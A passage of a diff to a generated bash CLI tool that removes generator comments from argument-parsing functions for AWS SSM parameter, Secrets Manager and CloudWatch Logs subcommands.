dtools_aws_ssm_create_parameter_parse_requirements() { fi ;; - # :flag.case --name) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--name']="$2" shift @@ -15769,10 +14033,8 @@ dtools_aws_ssm_create_parameter_parse_requirements() { fi ;; - # :flag.case --value) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--value']="$2" shift @@ -15789,8 +14051,7 @@ dtools_aws_ssm_create_parameter_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -15799,7 +14060,6 @@ dtools_aws_ssm_create_parameter_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--name']+x} ]]; then printf "missing required flag: --name NAME\n" >&2 exit 1 @@ -15809,11 +14069,8 @@ dtools_aws_ssm_create_parameter_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15822,13 +14079,11 @@ dtools_aws_ssm_create_parameter_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -15837,11 +14092,9 @@ dtools_aws_ssm_create_parameter_parse_requirements() { } -# :command.parse_requirements dtools_aws_ssm_update_parameter_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -15858,17 +14111,14 @@ dtools_aws_ssm_update_parameter_parse_requirements() { esac done - # :command.command_filter action="aws ssm update-parameter" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -15879,10 +14129,8 @@ dtools_aws_ssm_update_parameter_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -15893,10 +14141,8 @@ dtools_aws_ssm_update_parameter_parse_requirements() { fi ;; - # :flag.case --name) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--name']="$2" shift @@ -15907,10 +14153,8 @@ dtools_aws_ssm_update_parameter_parse_requirements() { fi ;; - # :flag.case --value) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--value']="$2" shift @@ -15927,8 +14171,7 @@ dtools_aws_ssm_update_parameter_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -15937,7 +14180,6 @@ dtools_aws_ssm_update_parameter_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--name']+x} ]]; then printf "missing required flag: --name NAME\n" >&2 exit 1 @@ -15947,11 +14189,8 @@ dtools_aws_ssm_update_parameter_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -15960,13 +14199,11 @@ dtools_aws_ssm_update_parameter_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -15975,11 +14212,9 @@ dtools_aws_ssm_update_parameter_parse_requirements() { } -# :command.parse_requirements dtools_aws_ssm_delete_parameter_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -15996,17 +14231,14 @@ dtools_aws_ssm_delete_parameter_parse_requirements() { esac done - # :command.command_filter action="aws ssm delete-parameter" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -16017,10 +14249,8 @@ dtools_aws_ssm_delete_parameter_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -16037,9 +14267,7 @@ dtools_aws_ssm_delete_parameter_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['parameter_name']+x} ]]; then args['parameter_name']=$1 shift @@ -16053,18 +14281,14 @@ dtools_aws_ssm_delete_parameter_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['parameter_name']+x} ]]; then printf "missing required argument: PARAMETER_NAME\nusage: dtools aws ssm delete-parameter PARAMETER_NAME [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -16073,13 +14297,11 @@ dtools_aws_ssm_delete_parameter_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -16088,11 +14310,9 @@ dtools_aws_ssm_delete_parameter_parse_requirements() { } -# :command.parse_requirements dtools_aws_secretsmanager_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16109,9 +14329,8 @@ dtools_aws_secretsmanager_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 @@ -16120,7 +14339,6 @@ dtools_aws_secretsmanager_parse_requirements() { deps['aws']="$(command -v aws | head -n1)" fi - # :dependency.filter if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install using 'brew install jq'" >&2 @@ -16133,7 +14351,6 @@ dtools_aws_secretsmanager_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -16160,7 +14377,6 @@ dtools_aws_secretsmanager_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_aws_secretsmanager_usage >&2 exit 1 @@ -16173,7 +14389,6 @@ dtools_aws_secretsmanager_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16184,8 +14399,7 @@ dtools_aws_secretsmanager_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -16196,11 +14410,9 @@ dtools_aws_secretsmanager_parse_requirements() { } -# :command.parse_requirements dtools_aws_secretsmanager_list_secrets_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16217,17 +14429,14 @@ dtools_aws_secretsmanager_list_secrets_parse_requirements() { esac done - # :command.command_filter action="aws secretsmanager list-secrets" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -16238,10 +14447,8 @@ dtools_aws_secretsmanager_list_secrets_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -16252,10 +14459,8 @@ dtools_aws_secretsmanager_list_secrets_parse_requirements() { fi ;; - # :flag.case --detailed) - # :flag.case_no_arg args['--detailed']=1 shift ;; @@ -16266,8 +14471,7 @@ dtools_aws_secretsmanager_list_secrets_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -16276,11 +14480,8 @@ dtools_aws_secretsmanager_list_secrets_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -16289,13 +14490,11 @@ dtools_aws_secretsmanager_list_secrets_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -16304,11 +14503,9 @@ dtools_aws_secretsmanager_list_secrets_parse_requirements() { } -# :command.parse_requirements dtools_aws_secretsmanager_show_secret_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16325,17 +14522,14 @@ dtools_aws_secretsmanager_show_secret_parse_requirements() { esac done - # :command.command_filter action="aws secretsmanager show-secret" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -16346,10 +14540,8 @@ dtools_aws_secretsmanager_show_secret_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -16360,10 +14552,8 @@ dtools_aws_secretsmanager_show_secret_parse_requirements() { fi ;; - # :flag.case --detailed) - # :flag.case_no_arg args['--detailed']=1 shift ;; @@ -16374,9 +14564,7 @@ dtools_aws_secretsmanager_show_secret_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['secret_id']+x} ]]; then args['secret_id']=$1 shift @@ -16390,18 +14578,14 @@ dtools_aws_secretsmanager_show_secret_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['secret_id']+x} ]]; then printf "missing required argument: SECRET_ID\nusage: dtools aws secretsmanager show-secret SECRET_ID [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -16410,13 +14594,11 @@ dtools_aws_secretsmanager_show_secret_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -16425,11 +14607,9 @@ dtools_aws_secretsmanager_show_secret_parse_requirements() { } -# :command.parse_requirements dtools_aws_secretsmanager_create_secret_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16446,17 +14626,14 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { esac done - # :command.command_filter action="aws secretsmanager create-secret" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -16467,10 +14644,8 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -16481,10 +14656,8 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { fi ;; - # :flag.case --name) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--name']="$2" shift @@ -16495,10 +14668,8 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { fi ;; - # :flag.case --secret-string) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--secret-string']="$2" shift @@ -16515,8 +14686,7 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -16525,7 +14695,6 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--name']+x} ]]; then printf "missing required flag: --name NAME\n" >&2 exit 1 @@ -16535,11 +14704,8 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -16548,13 +14714,11 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -16563,11 +14727,9 @@ dtools_aws_secretsmanager_create_secret_parse_requirements() { } -# :command.parse_requirements dtools_aws_logs_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16584,9 +14746,8 @@ dtools_aws_logs_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 @@ -16595,7 +14756,6 @@ dtools_aws_logs_parse_requirements() { deps['aws']="$(command -v aws | head -n1)" fi - # :dependency.filter if ! command -v lnav >/dev/null 2>&1; then printf "missing dependency: lnav\n" >&2 printf "%s\n\n" "Install with 'brew install lnav'" >&2 @@ -16604,7 +14764,6 @@ dtools_aws_logs_parse_requirements() { deps['lnav']="$(command -v lnav | head -n1)" fi - # :dependency.filter if ! command -v unbuffer >/dev/null 2>&1; then printf "missing dependency: unbuffer\n" >&2 printf "%s\n\n" "Install with 'brew install expect'" >&2 @@ -16617,7 +14776,6 @@ dtools_aws_logs_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -16644,7 +14802,6 @@ dtools_aws_logs_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_aws_logs_usage >&2 exit 1 @@ -16657,7 +14814,6 @@ dtools_aws_logs_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16668,8 +14824,7 @@ dtools_aws_logs_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -16680,11 +14835,9 @@ dtools_aws_logs_parse_requirements() { } -# :command.parse_requirements dtools_aws_logs_list_log_groups_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16701,17 +14854,14 @@ dtools_aws_logs_list_log_groups_parse_requirements() { esac done - # :command.command_filter action="aws logs list-log-groups" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -16722,10 +14872,8 @@ dtools_aws_logs_list_log_groups_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -16736,10 +14884,8 @@ dtools_aws_logs_list_log_groups_parse_requirements() { fi ;; - # :flag.case --detailed) - # :flag.case_no_arg args['--detailed']=1 shift ;; @@ -16750,8 +14896,7 @@ dtools_aws_logs_list_log_groups_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -16760,11 +14905,8 @@ dtools_aws_logs_list_log_groups_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -16773,13 +14915,11 @@ dtools_aws_logs_list_log_groups_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -16788,11 +14928,9 @@ dtools_aws_logs_list_log_groups_parse_requirements() { } -# :command.parse_requirements dtools_aws_logs_tail_log_group_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16809,9 +14947,8 @@ dtools_aws_logs_tail_log_group_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v lnav >/dev/null 2>&1; then printf "missing dependency: lnav\n" >&2 printf "%s\n\n" "Install with 'brew install lnav'" >&2 @@ -16820,7 +14957,6 @@ dtools_aws_logs_tail_log_group_parse_requirements() { deps['lnav']="$(command -v lnav | head -n1)" fi - # :dependency.filter if ! command -v unbuffer >/dev/null 2>&1; then printf "missing dependency: unbuffer\n" >&2 printf "%s\n\n" "Install with 'brew install expect'" >&2 @@ -16833,17 +14969,14 @@ dtools_aws_logs_tail_log_group_parse_requirements() { exit 1 fi - # :command.command_filter action="aws logs tail-log-group" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -16854,10 +14987,8 @@ dtools_aws_logs_tail_log_group_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -16868,10 +14999,8 @@ dtools_aws_logs_tail_log_group_parse_requirements() { fi ;; - # :flag.case --since | -s) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--since']="$2" shift @@ -16882,18 +15011,14 @@ dtools_aws_logs_tail_log_group_parse_requirements() { fi ;; - # :flag.case --verbose | -v) - # :flag.case_no_arg args['--verbose']=1 shift ;; - # :flag.case --stdout) - # :flag.case_no_arg args['--stdout']=1 shift ;; @@ -16904,9 +15029,7 @@ dtools_aws_logs_tail_log_group_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['log-group']+x} ]]; then args['log-group']=$1 shift @@ -16920,19 +15043,15 @@ dtools_aws_logs_tail_log_group_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['log-group']+x} ]]; then printf "missing required argument: LOG-GROUP\nusage: dtools aws logs tail-log-group LOG-GROUP [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" [[ -n ${args['--since']:-} ]] || args['--since']="10m" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -16941,7 +15060,6 @@ dtools_aws_logs_tail_log_group_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--since'] ]]; then validation_output="$(validate_relative_since_time_format "${args['--since']:-}")" if [[ -n "${validation_output}" ]]; then @@ -16950,13 +15068,11 @@ dtools_aws_logs_tail_log_group_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -16965,11 +15081,9 @@ dtools_aws_logs_tail_log_group_parse_requirements() { } -# :command.parse_requirements dtools_aws_logs_query_log_groups_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -16986,17 +15100,14 @@ dtools_aws_logs_query_log_groups_parse_requirements() { esac done - # :command.command_filter action="aws logs query-log-groups" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -17007,10 +15118,8 @@ dtools_aws_logs_query_log_groups_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -17021,10 +15130,8 @@ dtools_aws_logs_query_log_groups_parse_requirements() { fi ;; - # :flag.case --log-group-name | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then escaped="$(printf '%q' "$2")" if [[ -z ${args['--log-group-name']+x} ]]; then @@ -17040,10 +15147,8 @@ dtools_aws_logs_query_log_groups_parse_requirements() { fi ;; - # :flag.case --start-time) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--start-time']="$2" shift @@ -17054,10 +15159,8 @@ dtools_aws_logs_query_log_groups_parse_requirements() { fi ;; - # :flag.case --end-time) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--end-time']="$2" shift @@ -17074,9 +15177,7 @@ dtools_aws_logs_query_log_groups_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['query']+x} ]]; then args['query']=$1 shift @@ -17090,7 +15191,6 @@ dtools_aws_logs_query_log_groups_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--log-group-name']+x} ]]; then printf "missing required flag: --log-group-name, -l LOG_GROUP_NAME\n" >&2 exit 1 @@ -17104,12 +15204,9 @@ dtools_aws_logs_query_log_groups_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['query']:-} ]] || args['query']="fields @timestamp, @message | sort @timestamp desc" [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -17118,13 +15215,11 @@ dtools_aws_logs_query_log_groups_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: 